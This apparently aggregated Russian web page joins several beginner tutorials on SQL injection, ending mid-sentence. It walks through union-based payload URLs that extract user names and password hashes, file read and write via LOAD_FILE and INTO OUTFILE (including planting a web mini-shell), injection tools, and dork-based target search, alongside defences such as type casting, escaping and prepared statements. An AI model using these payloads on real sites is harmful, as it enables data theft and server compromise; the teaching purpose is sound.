Сайт о телевидении

Сайт о телевидении

» » Sql инъекции для новичков. Инструменты для тренировки. другие типа MySQL инъекции

Sql инъекции для новичков. Инструменты для тренировки. другие типа MySQL инъекции

Мы выпустили новую книгу «Контент-маркетинг в социальных сетях: Как засесть в голову подписчиков и влюбить их в свой бренд».

Подписаться

А вы уверены, что ваш сайт находится в безопасности? 45% веб-ресурсов крупнейших российских компаний имеют критические . Прочитав эту статью, вы сможете провести базовую проверку своего веб-сайта на наличие SQL инъекций.

Давайте для начала разберем, что есть безопасность. Безопасность - это состояние защищенности автоматизированной системы, при условии, что риск не превышает допустимых значений. В свою очередь, риск - это произведение ущерба и вероятности. Что же из себя представляет ущерб? Ущерб - количественная оценка нанесенного вреда системе. Вероятность, думаю, всем знакома.

Представляю вам краткий математический обзор: исходя из этих базовых понятий считают математические риски (классы гостайны разделены именно по этим принципам).

Как же это относиться к защите вашего сайта, думаете вы? А вот как: мы с вами прекрасно знаем, что абсолютно нулевой вероятности не существует (т.е. хоть и маленькой вероятностью, но прямо сейчас из монитора может вылезти джин и выполнить 3 ваших желания).

К чему я это говорю? К тому, что точно так же, нет системы которую невозможно взломать, вопрос лишь в ресурсах. И если подходить к делу профессионально, необходимо оценить возможный ущерб от несанкционированного доступа и принять меры, соответствующие вашему ущербу.

Да, мы можем поставить TrueCrypt, зашифровать наши данные и пароли. Настроить двойную аутентификацию и хранить винчестер с этим всем в бункере, защищенном от прямого ядерного удара, но если у нас там всего лишь пароль от “Контакта”, то возможный ущерб несопоставим с нашими средствами защиты (если, конечно, вы не храните во “ВКонтакте” доступы от ваших миллионных счетов в банке).

Теперь, я хочу вам донести информацию об основных уязвимостях веб-сайтов.

Основные методы и взлома сайтов (уязвимости)

  1. SQL - injection;
  2. CSRF;
  3. PHP injection.

Также стоит отметить атаки: с их помощью нельзя получить несанкционированный доступ, но нанести непоправимый ущерб - запросто.

В данной статье мы рассмотрим детально первую уязвимость.

SQL Injection

Теперь нам нужно разобраться, что есть сайт, как он работает в общих чертах. Сайт - программа, в 90% случаев написанная на языке программирования PHP.

Для того чтобы веб-мастерам было удобнее управлять сайтом, вначале двухтысячных начали использовать базы данных (далее БД), где хранится вся информация о зарегистрированных пользователя, об их паролях, естественно, не в открытом виде, но об этом ниже. Кстати, даже то, что вы сейчас читаете, хранится в БД.

Что такое SQL инъекции?

Все очень просто. SQL - это язык общения с БД, а слово Injection переводится как “внедрение”. Иначе говоря, при помощи SQL Injection можно внедрить произвольный SQL-код, который сервер обработает и выдаст ответ.

Как все работает: примеры

БД состоит из таблиц, каждая таблица имеет строки и столбцы, все как в Еxel.

Для наглядности рассмотрим примерную структуру БД на всем знакомом сайте VK.com

Каждый пользователь “ВКонтакте”, естественно, имеет ряд персональных параметров: Имя, Фамилия, e-mail, дата регистрации и прочее. В итоге каждый столбец отвечает за свой параметр.

ID | First_name| Last_name | password | email ....

1 | Pavel | Durov | | ....

2 | Vova | Pupkin | | ....

Скорее всего, вы решите, что у Паши Дурова и Вовы Пупкина очень сложный пароль (аж целых 32 символа!), но, на самом деле, вы ошибаетесь. Что же есть? Это так называемое хэш-значение, результат преобразования хэш-функции. Простым языком - зашифрованный пароль (хоть это не совсем так). Для чего это нужно? Для того чтобы хакер при не смог легко заполучить пароли пользователей. Но и на это есть свои методы. Если пароль зашифрован - это еще не гарантия безопасности.

Давайте представим, что вы (программа) вышли в магазин (БД) и просите продавца (SQL запрос): "Дайте, пожалуйста, одну пачку Мальборо за 100 рублей";

Вот так это будет выглядеть на языке SQL:

SELECT имя-товара FROM универсам WHERE (тип="мальборо" AND цена="100") LIMIT 1

SQL-сервер выдаст ответ на ваш вопрос, а делать вы с ним можете все что угодно. Можете как-то модифицировать эту информацию, посчитать или банально вывести на экран браузера.

Теперь вернемся к SQL Injection, как мы уже знаем, это внедрение произвольного кода в SQL-запрос. То есть уязвимость существует тогда, когда злоумышленник может внедрить свой выполняемый код.

Продолжим. Вот вы прочли Аллена Карра и бросили курить. Теперь вы ходите в магазин за исключительно полезными товарами:) В этот раз, вы пойдете... ну, допустим, за молоком.

Чтобы не забыть, вы записали на бумажке: "Один пакет молока за 50 рублей", но у вас есть друг (хакер), который курит. Он произвел SQL-атаку и теперь надпись гласит: "Один пакет молока за 50 рублей. $ИЛИ одну пачку Мальборо за 100 рублей$"

Вы приходите в магазин и читаете по бумажке: "Дайте, пожалуйста, один пакет молока за 50 рублей или пачку Мальборо за 100"

SELECT имя-товара FROM универсам WHERE (тип="молоко" AND цена="50") OR (тип="мальборо" AND цена="100") LIMIT 1

Продавец подумал, что ему незачем идти до холодильника с молоком, когда сигареты лежат рядом, и отдал их. Теперь вы идете с магазина, а ваш друг только этого и ждет, когда вы принесете ему сигареты.

Вот и пример SQL атак. На сайтах это выглядит иначе, конечно же. Сайт запрашивает с БД одну информацию, а с помощью SQL-инъекции можно получить, например, логины и пароли.

Как же происходит взлом?

Чтобы четко понимать, что именно нужно делать, программа берет SQL-запрос в кавычки. Приведу реальный пример. Допустим, мы хотим выяснить, сколько лет нашему другу, зная его имя и отправляя в переменную $_GET[‘name’]

Выполняем запрос:

$result = mysql_query("SELECT age FROM myfriends WHERE name=$_GET[‘name’]");

Например, мы хотим узнать сколько лет Насте хоть это и неприлично, но БД все нам расскажет:)

В программе окажется код:

Mysql_query("SELECT age FROM myfriends WHERE name="Настя’");

Рассмотрим чуть детальнее вот этот кусочек. у нас есть 2 пары кавычек.

Первая пара обозначает сам запрос целиком.

"SELECT age FROM myfriends WHERE name="Настя’"

Вторая пара обозначает имя. Настя.

Так вот, а что если злоумышленник напишет не Настя, а Настя’ , с кавычкой в конце? Он нарушит синтаксис функции mysql_quevery. И SQL-сервер выдаст закономерный ответ - ошибку (потому как не сможет обработать ‘ , которая не является функцией).

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near Настя"

Кстати, совсем забыл вам рассказать про оператора для комментирования. Один из них - это два тире, которые выглядят вот так: “--”. Что же случится, если мы передадим Настя’ -- ?

Правильно. Все последующие записи закомментируются, т.е. закомментируется кавычка для закрытия функции mysql_query(). Теперь ее роль будет выполнять та кавычка, которую мы сами и написали. Верно, сейчас мы подходим к самому интересному. Таким способом мы получили доступ для свободного обращения к базе данных. Я привел в пример самую простую ошибку программиста.

В языках программирования есть разные типы данных, есть строки (String), есть числа (Integer), в зависимости от этого нужно правильно строить SQL-инъекцию. Кстати, “1” может быть как строкой, так и целым числом.

Это лишь край вершины айсберга, есть десятки способов реализации угроз типа SQL-инъекции.

Пример взлома сайта

Действительно ли все так страшно, как вам рассказывают? Не могу не приложить пример. Здесь мы наблюдаем интернет-магазин, который с помощью SQL уязвимости вывел нам информацию о версии SQL-сервера. Можно с легкостью вывести информацию и о логинах/паролях, но мы рассматриваем не методы взлома и деструктивного воздействия, а напротив, средства защиты (кстати говоря, администрация сайта уведомлена о найденной уязвимости). Иметь уязвимость в интернет-магазине - недопустимо, а если он еще и карты принимает - неприемлемо. Злые хакеры (не мы) могут получить доступ к сайту и записывать данные о дебетовых/кредитных картах покупателей, а затем использовать информацию в своих целях. Поэтому стоит очень внимательно относиться к безопасности как при создании веб-сайта, так и при покупках в сети.

Это лишь один из путей хакеров при монетизации сайтов. Их десятки: вирусы, дорвеи, редиректы, дополнительная реклама, невидимая sape на вашем сайте… и многое другое… Если вам это будет интересно, я с радостью напишу подробную статью на этот счет, пишите в комментарии.

Мы с вами пришли к выводу, что имея более-менее значимый проект, нельзя допускать уязвимость. Иначе в самый неподходящий момент это может привести к тяжелым последствиям. Хорошо, с этим разобрались, а что же делать? Для профессионального аудита стоит обратиться к профильным компаниям, но проверить элементарные SQL-уязвимости теперь вы можете и самостоятельно. Зачастую хакеры проверяют уязвимости автоматически, и, закрыв базовые уязвимости, вы сможете спасти свой сайт от взора хакера.

Что делать если мой сайт взломали?

Взломав сайт и используя информацию в своих целях, хакеры оставляют backdoors (скрытые точки входа хакера). Это могут быть файлы с любым расширением, даже jpg, но в них будет закодирован php-код для проникновения в систему. В наше время существует множество php-антивирусов, программ, которые сканируют вашу файловую систему сайта на предмет подозрительных файлов. Могу посоветовать бесплатное ПО AI-Bolit.

Для проверки сайта на наличие нужно загрузить скрипт-антивирус на ваш хостинг и запустить его, остальное он сделает за вас. После чистки бэкдоров необходимо закрыть брешь, через которую хакер к вам попал. Обновите движок, плагины, смените пароли, можете обратиться к хостеру, чтобы он выдал лог-файл, по которому можно понять через что именно был получен доступ. После закрытия канала проникновения и удаления бэкдоров, все должно быть хорошо, но каждый случай индивидуален и требует персонального подхода.

Как защитить свой сайт от взлома: базовая проверка на уязвимости SQL типа

/index.php?id=410

Т.е. любой URL, который содержит входные параметры. Здесь переменная $_GET[‘ID’] содержит значение 140, которое, возможно, передается серверу БД. Т.е. для базовой проверки вам нужно будет попробовать вставить кавычку и посмотреть, что выдаст в ответ ваш сайт.

Защита от SQL инъекций

Самое главное - фильтрация входящих данных, например, в параметрах поиска, при выборе номера страницы и прочее.

Выделим основные пункты для защиты вашего веб-сайта.

*White list - лучший метод защиты от SQL-инъекций. Суть заключается в том, что в коде программы прописываются разрешенные для передачи SQL-серверу значения параметров, что практически полностью исключает возможность взлома веб-сайта с помощью SQL-инъекций.

Поздравляю! Вы дочитали статью до конца! Думаю, начинающим программистам эта статья окажется хоть капельку полезной.

Владельцы сайтов, надеюсь, не сильно испугались. Знайте, что главное - сотрудничать с хорошими компаниями, а не обращаться к неизвестным личностям.

Кстати, у нас полно статей-инструкций, в которых много практических советов с историей многолетней практики. Конечно, мы думали над тем, чтобы наладить тематическую рассылку, но пока не успеваем. Так что удобней всего

Количество сайтов и страничек в Сети неуклонно растёт. За разработку берутся все, кто только может. И начинающие веб-программисты очень часто используют небезопасный и старый код. А это создаёт массу лазеек для злоумышленников и хакеров. Чем они и пользуются. Одна из самых классических уязвимостей — SQL-инъекция.

Немного теории

Многие знают, что большинство сайтов и сервисов в сети используют для хранения базы SQL. Это такой язык структурированных запросов, который позволяет управлять и администрировать хранилища с данными. Известно много различных версий систем менеджмента базами данных — Oracle, MySQL, Postgre. Вне зависимости от имени и типа, они одинаково используют запросы к данным. Именно здесь и кроется потенциальная уязвимость. Если разработчик не смог правильно и безопасно обработать запрос, то злоумышленник может воспользоваться этим и применить особые тактики для получения доступа к базе, а оттуда - и к управлению всем сайтом.

Для избежания таких ситуаций нужно грамотно оптимизировать код и внимательно следить за тем, какой запрос каким способом обрабатывается.

Проверка на SQL-инъекции

Для установления наличия уязвимости в сети имеется масса готовых автоматизированных программных комплексов. Но можно осуществить простую проверку и вручную. Для этого нужно перейти на один из исследуемых сайтов и в адресной строке попробовать вызвать ошибку базы данных. К примеру, скрипт на сайте может не обрабатывать запросы и не обрезать их.

Например, есть некий_сайт/index.php?id=25

Самый лёгкий способ — поставить после 25 кавычку и отправить запрос. Если никакой ошибки не возникло, то либо на сайте фильтруются все запросы и правильно обрабатываются, либо в настройках отключён их вывод. Если страница перезагрузилась с проблемами, значит, уязвимость для SQL-инъекции есть.

После того как она обнаружена, можно пробовать избавиться от нее.

Для реализации данной уязвимости нужно знать немного о Одна из них — UNION. Она объединяет несколько результатов запроса в один. Так можно вычислить количество полей в таблице. Пример первого запроса выглядит так:

  • некий_сайт/index.php?id=25 UNION SELECT 1.

В большинстве случаев такая запись должна выдать ошибку. Это значит, что количество полей не равно 1. Таким образом, подбирая варианты от 1 и больше, можно установить их точное число:

  • некий_сайт/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

То есть, когда ошибка перестанет появляться, значит, количество полей угадано.

Есть также и альтернативный вариант решения этой проблемы. Например, когда число полей большое — 30, 60 или 100. Это команда GROUP BY. Он группирует результаты запроса по какому-либо признаку, например id:

  • некий_сайт/index.php?id=25 GROUP BY 5.

Если ошибок не было получено, значит, полей больше, чем 5. Таким образом, подставляя варианты из довольно обширного диапазона, можно вычислить, сколько же их на самом деле.

Данный пример SQL-инъекции - для новичков, которые хотят попробовать себя в тестировании своего сайта. Важно помнить, что за несанкционированный доступ к чужому имеется статья Уголовного кодекса.

Основные типы инъекций

Реализовать уязвимости посредством SQL-инъекции можно несколькими вариантами. Далее идут наиболее популярные методики:

    UNION injection. Простой пример данного типа был уже рассмотрен выше. Реализуется он за счёт ошибки в проверке приходящих данных, которые никак не фильтруются.

    Error-based SQL injection. Как понятно из названия, данный тип также использует ошибки, посылая выражения, составленные синтаксически неправильно. Затем происходит перехват заголовков ответа, анализируя которые, можно провести впоследствии SQL-инъекцию.

    Stacked injection. Данная уязвимость определяется выполнением последовательных запросов. Характеризуется он присоединением в конце знака «;». Этот подход чаще реализуется для доступа к реализации чтения и записи данных или же управлением функциями операционной системы, если привилегии это позволяют.

Программные комплексы для поиска SQL-уязвимостей

Наличествующие для проведения SQL-инъекций, программы обычно имеют две составляющих — сканирование сайта на возможные уязвимости и их использование для получения доступа к данным. Существуют такие утилиты практически для всех известных платформ. Их функционал в значительной мере облегчает проверку сайта на возможность взлома SQL-инъекцией.

Sqlmap

Очень мощный сканер, работающий с большинством известных СУБД. Поддерживает различные методики внедрения SQL-инъекций. Имеет возможность автоматического распознавания типа хэша пароля и его взлома по словарю. Присутствует и функционал загрузки и выгрузки файлов с сервера.

Установка в среде Linux выполняется с помощью команд:

  • git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Для Windows имеется как вариант с командной строкой, так и с графическим интерфейсом пользователя.

jSQL Injection

jSQL Injection — кроссплатформенный инструмент для тестирования использования SQL уязвимостей. Написан на Java, поэтому в системе должен быть установлен JRE. Способен обрабатывать запросы header, cookie. Обладает удобным графическим интерфейсом.

Установка данного программного комплекса происходит так:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v{1,2}.{1,2}/jsql-injection-v{1,2}.{1,2}.jar"| head-n 1`

Запуск осуществляется с помощью команды java -jar ./jsql-injection-v*.jar

Для того чтобы начать проверку сайта на SQL-уязвимость, нужно ввести его адрес в верхнее поле. Они есть отдельные для GET и для POST. При положительном результате в левом окне появится список доступных таблиц. Их можно просмотреть и узнать некую конфиденциальную информацию.

Для поиска административных панелей используется вкладка «Admin page». На ней с помощью специальных шаблонов выполняется автоматический поиск системных записей привилегированных пользователей. Из них можно получить всего лишь хэш пароля. Но и он имеется в инструментарии программы.

После нахождения всех уязвимостей и инъектирования нужных запросов, утилита позволит залить на сервер свой файл или же, наоборот, скачать его оттуда.

SQLi Dumper v.7

Данная программа — простой в использовании инструмент для поиска и реализации уязвимостей в SQL. Производит оон это на основе так называемых дорков. Их списки можно найти в интернете. Дорки для SQL-инъекций — это специальные шаблоны поисковых запросов. С их помощью можно найти потенциально через любой поисковик.

Инструменты для тренировки

На сайте itsecgames.com имеется специальный набор инструментария, который позволяет на примере показывает как сделать SQL инъекцию и протестировать ее. Для того чтобы воспользоваться, её нужно скачать и установить. Архив содержит в себе набор файлов, который представляет собой структуру сайта. Для его установки понадобится имеющийся в системе набор веб-сервера Apache, MySQL и PHP.

Распаковав архив в папку веб-сервера, надо перейти по адресу, введённому при установке данного программного продукта. Откроется страница с регистрацией пользователя. Здесь нужно ввести свои данные и нажать «Create». Переведя пользователя в новое окно, система предложит выбрать один из вариантов тестирования. Среди них имеется как описываемые инъекции, так и много других тестовых заданий.

Стоит рассмотреть пример SQL-инъекции типа GET/Search. Здесь нужно выбрать ее и нажать «Hack». Перед пользователем предстанет строка поиска и имитация некоего сайта с фильмами. Перебирать фильмы можно долго. Но их всего 10. К примеру, можно попробовать ввести Iron Man. Выведется фильм, значит, сайт работает, и таблицы в нем имеются. Теперь надо проверить, фильтрует ли скрипт особые символы, в частности кавычку. Для этого в строку адреса нужно добавить "». Причём, сделать это надо после названия фильма. Сайт выдаст ошибку Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1, которая гласит о том, что символы всё-таки обрабатываются неправильно. Значит, можно пробовать подставить свой запрос. Но нужно сначала вычислить количество полей. Для этого используется order by, который вводится после кавычки: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Данная команда просто выведет сведения о фильме, то есть количество полей больше 2. Двойной дефис сообщает серверу, что остальные запросы нужно отбросить. Теперь надо перебирать, подставляя все большие значения до тех пор, пока не выведется ошибка. В итоге получится, что полей будет 7.

Теперь настало время получить что-то полезное из базы. Придётся немного модифицировать запрос в адресной строке, приведя ее к такому виду: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4,password,6,7 from users --&action=search. В результате её выполнения выведутся строки с хэшами паролей, которые можно легко превратить в понятные символы с помощью одного из онлайн сервисов. А немного поколдовав и подобрав имя поля с логином, можно получить доступ к чужой записи, например админа сайта.

В продукте имеется масса разновидностей типов инъекций, на которых можно попрактиковаться. Стоит помнить, что применение данных навыков в сети, на реальных сайтах может оказаться уголовно наказуемым.

Инъекции и PHP

Как правило, именно PHP-код и отвечает за необходимую обработку запросов, приходящих от пользователя. Поэтому именно на этом уровне нужно выстраивать защиту от SQL-инъекций в PHP.

  • Данные всегда должны быть обработаны перед помещением в базу. Это можно реализовать либо используя уже имеющиеся выражения, либо организовывая запросы вручную. Здесь тоже стоит учитывать, что числовые значения преобразовываются к тому типу, который необходим;
  • Избегать в запросе появления различных управляющих конструкций.

Теперь немного о правилах составления запросов в MySQL для защиты от SQL-инъекций.

При составлении каких-либо выражений для запроса важно отделять данные от ключевых слов SQL.

  • SELECT * FROM table WHERE name = Zerg.

В данной конструкции система может подумать, что Zerg — это имя какого-либо поля, поэтому нужно заключить его в кавычки.

  • SELECT * FROM table WHERE name = "Zerg".

Однако, бывают ситуации, когда значение само по себе содержит кавычки.

  • SELECT * FROM table WHERE name = "кот-д"ивуар".

Здесь обработается только часть кот-д, а остальная может быть воспринята как команда, которой, естественно, нет. Поэтому возникнет ошибка. Значит нужно такого рода данные экранировать. Для этого используется обратный слэш - \.

  • SELECT * FROM table WHERE name = "кот-д\"ивуар".

Все вышеперечисленное относится к строкам. Если действие происходит с числом, то ему не нужны ни кавычки ни слэши. Однако их надо обязательно в принудительном порядке приводить к необходимому типу данных.

Существует рекомендация, по которой имя поля должна быть заключена в обратную кавычку. Этот символ находится в левой части клавиатуры, вместе со знаком тильда «~». Это нужно для того, чтобы MySQL могла точно отличить имя поля от своего ключевого слова.

Динамическая работа с данными

Очень часто для получения каких-либо данных из базы используются запросы, сформированные динамически. Например:

  • SELECT * FROM table WHERE number = "$number".

Здесь переменная $number передается в качестве определения значения поля. Что же будет, если в неё попадёт "кот-д"ивуар"? Ошибка.

Избежать данной неприятности, конечно, можно включив «волшебные кавычки» в настройках. Но теперь данные будут экранироваться там, где надо и не надо. К тому же если код пишется вручную, то можно потратить немного больше времени на то, чтобы создать стойкую к взлому систему самому.

Для самостоятельного добавления слэша можно использовать mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)".

Хотя код и вырос в объеме, все же, потенциально он будет работать гораздо безопаснее.

Плейсхолдеры

Плейсхолдеры — своеобразные маркеры, по которым система узнает что в это место нужно подставить специальную функцию. Например:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

Данный участок кода производит подготовку шаблона запроса, затем привязывает переменную number, и выполняет его. Данный подход позволяет разделить обработку запроса и его реализацию. Таким образом, можно уберечься от использования внедрения вредоносного кода в SQL-запросы.

Что может сделать злоумышленник

Защита системы - очень важный фактор, которым нельзя пренебрегать. Конечно, простенький сайт-визитку будет проще восстановить. А если это большой портал, сервис, форум? Какие последствия могут быть, если не думать о безопасности?

Во-первых, хакер может нарушить как целостность базы, так и удалить её целиком. И если администратор сайта или хостер не сделали бэкап, то придётся несладко. Помимо всего, злоумышленник, взломав один сайт, может перейти на другие, размещённые на этом же сервере.

Далее идет хищение личных данных посетителей. Как их использовать — тут все ограничивается лишь фантазией хакера. Но в любом случае последствия будут не очень приятными. Тем более если содержалась финансовая информация.

Также злоумышленник может слить базу себе, а затем вымогать деньги за её возврат.

Дезинформация пользователей от имени лицом им не являющимся, также может нести негативные последствия, так как возможны факты мошенничества.

Заключение

Вся информация в данной статье предоставлена исключительно в ознакомительных целях. Использовать её нужно только для тестирования собственных проектов при обнаружении уязвимостей и их устранения.

Для более углублённого изучения методики того, как провести SQL-инъекцию, нужно начать собственно с исследования возможностей и особенностей языка SQL. Как составляются запросы, ключевые слова, типы данных и применение всего этого.

Также не обойтись без понимания работы функций PHP и элементов HTML. Основными уязвимыми точками для использования инъекций — адресная строка, поиск и различные поля. Изучение функций PHP, способ их реализации и возможности позволят понять, как можно избежать ошибок.

Наличие множества готовых программных инструментов позволяют провести глубокий анализ сайта на известные уязвимости. Один из наиболее популярных продуктов — kali linux. Это образ операционной системы на базе Linux, который содержит в себе большое количество утилит и программ, способных провести разносторонний анализ сайта на прочность.

Для чего нужно знать, как взломать сайт? Все очень просто — это надо для того, чтобы иметь представление о потенциально уязвимых местах своего проекта или сайта. Особенно если это какой-либо интернет-магазин с возможностью оплаты онлайн, где платёжные данные пользователя могут быть скомпрометированы злоумышленником.

Для профессионального исследования существуют службы информационной безопасности смогут проверить сайт по разным критериям и глубине. Начиная от простой HTML-инъекции и до социальной инженерии и фишинга.

Приветствую тебя, читатель. Последнее время, я увлекаюсь Web-безопасностью, да и в какой-то степени работа связана с этим. Т.к. я всё чаще и чаще стал замечать темы на различных форумах, с просьбой показать, как это всё работает, решил написать статью. Статья будет рассчитана на тех, кто не сталкивался с подобным, но хотел бы научиться. В сети относительно много статей на данную тематику, но для начинающих они немного сложные. Я постараюсь описать всё понятным языком и подробными примерами.

Предисловие

Для того, чтобы понять данную статью, вам не особо понадобится знания SQL-языка, а хотя бы наличие хорошего терпения и немного мозгов - для запоминания.

Я считаю, что одного прочтения статьи будет мало, т.к. нам нужны живые примеры - как известно практика, в процессе запоминания, не бывает лишней. Поэтому мы будем писать уязвимые скрипты и тренироваться на них.

Что же такое SQL инъекция?
Говоря простым языком - это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Пример из жизни:

Отец, написал в записке маме, чтобы она дала Васе 100 рублей и положил её на стол. Переработав это в шуточный SQL язык, мы получим:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе

Так-как отец плохо написал записку (Корявый почерк), и оставил её на столе, её увидел брат Васи - Петя. Петя, будучи хакер, дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете

Мама прочитав записку, решила, что Васе она давала деньги вчера и дала 100 рублей Пете. Вот простой пример SQL инъекции из жизни:) Не фильтруя данные (Мама еле разобрала почерк), Петя добился профита.

Подготовка
Для практики, Вам понадобится архив с исходными скриптами данной статьи. Скачайте его и распакуйте на сервере. Также импортируйте базу данных и установите данные в файле cfg.php

Поиск SQL injection

Как Вы уже поняли, инъекция появляется из входящих данных, которые не фильтруются. Самая распространенная ошибка - это не фильтрация передаваемого ID. Ну грубо говоря подставлять во все поля кавычки. Будь это GET/POST запрос и даже Cookie!

Числовой входящий параметр
Для практики нам понадобится скрипт index1.php . Как я уже говорил выше, подставляем кавычки в ID новости.

Т.к. у нас запрос не имеет фильтрации:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт поймет это как

SELECT * FROM news WHERE id=1"

И выдаст нам ошибку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

Если ошибку не выдало - могут быть следующие причины:

1.SQL инъекции здесь нет - Фильтруются кавычки, или просто стоит преобразование в (int)
2.Отключен вывод ошибок.

Если все же ошибку вывело - Ура! Мы нашли первый вид SQL инъекции - Числовой входящий параметр.

Строковой входящий параметр

Запросы будем посылать на index2.php . В данном файле, запрос имеет вид:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут мы делаем выборку новости по имени пользователя, и опять же - не фильтруем.
Опять посылаем запрос с кавычкой:

Выдало ошибку. Ок! Значит уязвимость есть. Для начала нам хватит - приступим к практике.

Приступаем к действиям

Немного теории

Наверно Вам уже не терпится извлечь что-то из этого, кроме ошибок. Для начала усвойте, что знак " -- " считается комментарием в языке SQL.

ВНИМАНИЕ! Перед и после него обязательно должны стоять пробелы. В URL они передаются как %20

Всё, что идет после комментария - будет отброшено То есть запрос:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Выполнится удачно. Можете попробовать это на скрипте index2.php, послав такой запрос:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Выучите параметр UNION . В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу. То есть для того, чтобы вытащить что-то нам нужное из другой таблицы.

Извлекаем из этого пользу

Если параметр «Числовой», то в запросе нам не нужно посылать кавычку и естественно ставить комментарий в конце. Вернемся к скрипту index1.php .

Обратимся к скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запрос к БД у нас получается вот таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
И он выдал нам ошибку, т.к. для работы с объедением запросов, нам требуется одинаковое количество полей.

Т.к. мы не можем повлиять на их количество в первом запросе, то нам нужно подобрать их количество во втором, чтобы оно было равно первому.

Подбираем количество полей

Подбор полей делается очень просто, достаточно посылать такие запросы:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Ошибка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Опять ошибка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ошибки нет! Значит количество столбцов равно 5.

GROUP BY
Зачастую бывает, что полей может быть 20 или 40 или даже 60. Чтобы нам каждый раз не перебирать их, используем GROUP BY

Если запрос
sqlinj/index1.php?id=1 GROUP BY 2
не выдал ошибок, значит кол-во полей больше 2. Пробуем:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, видим ошибку, значит кол-во полей меньше 8.

Если при GROUP BY 4 нет ошибки, а при GROUP BY 6 - ошибка, Значит кол-во полей равно 5

Определение выводимых столбцов
Для того, чтобы с первого запроса нам ничего не выводилось, достаточно подставить несуществующий ID, например:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Этим действием, мы определили, какие столбцы выводятся на страницу. теперь, чтобы заменить эти цифры на нужную информацию, нужно продолжить запрос.

Вывод данных

Допустим мы знаем, что еще существует таблица users в которой существуют поля id , name и pass .
Нам нужно достать Информацию о пользователе с ID=1

Следовательно построим такой запрос:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт также продолжает выводить

Для этого, мы подставим название полей, за место цифр 1 и 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Получили то - что требовалось!

Для «строкового входящего параметра», как в скрипте index2.php нужно добавлять кавычку в начале и знак комментария в конце. Пример:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Чтение/Запись файлов

Для чтения и записи файлов, у пользователя БД должны быть права FILE_PRIV.
Запись файлов
На самом деле всё очень просто. Для записи файла, мы будем использовать функцию OUTFILE .
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Отлично, файл у нас записался. Таким образом, Мы можем залить мини-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Чтение файлов
Чтение файлов производится еще легче, чем запись. Достаточно просто использовать функцию LOAD_FILE , за место того поля, которое мы выбираем:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким образом, мы прочитали предыдущий записанный файл.

Способы защиты

Защититься еще проще, чем использовать уязвимость. Просто фильтруйте данные. Если Вы передаёте числа, используйте
$id = (int) $_GET["id"];
Как подсказал пользователь . Защищаться использованием PDO или prepared statements.

Вместо завершения

На этом хочу закончить свою первую часть про «SQL injection для начинающих». Во второй мы рассмотрим более тяжелые примеры инъекций. Пробуйте сами писать уязвимые скрипты и выполнять запросы.
И запомните, не доверяйте ни одному пользователю Вашего сайта.

Теги:

  • SQL injection
  • sql inj
Добавить метки

Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.

SQL инъекция (SQL injection ) - уязвимость которая возникает при недостаточной проверке и обработке данных , которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.

Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний. Использование этой уязвимости дает путь к большим возможностям таким как:

  • кража данных - 80%;
  • отказ в обслуживании - 10 процентов;
  • подмена или уничтожение данных - 2-3%;
  • другие случаи и намерения.

Также существуют различные программы по тестированию безопасности сайта на всякие JS и SQL инъекции.

Подробное объяснение

В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии между и базой данных MySQL. Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:

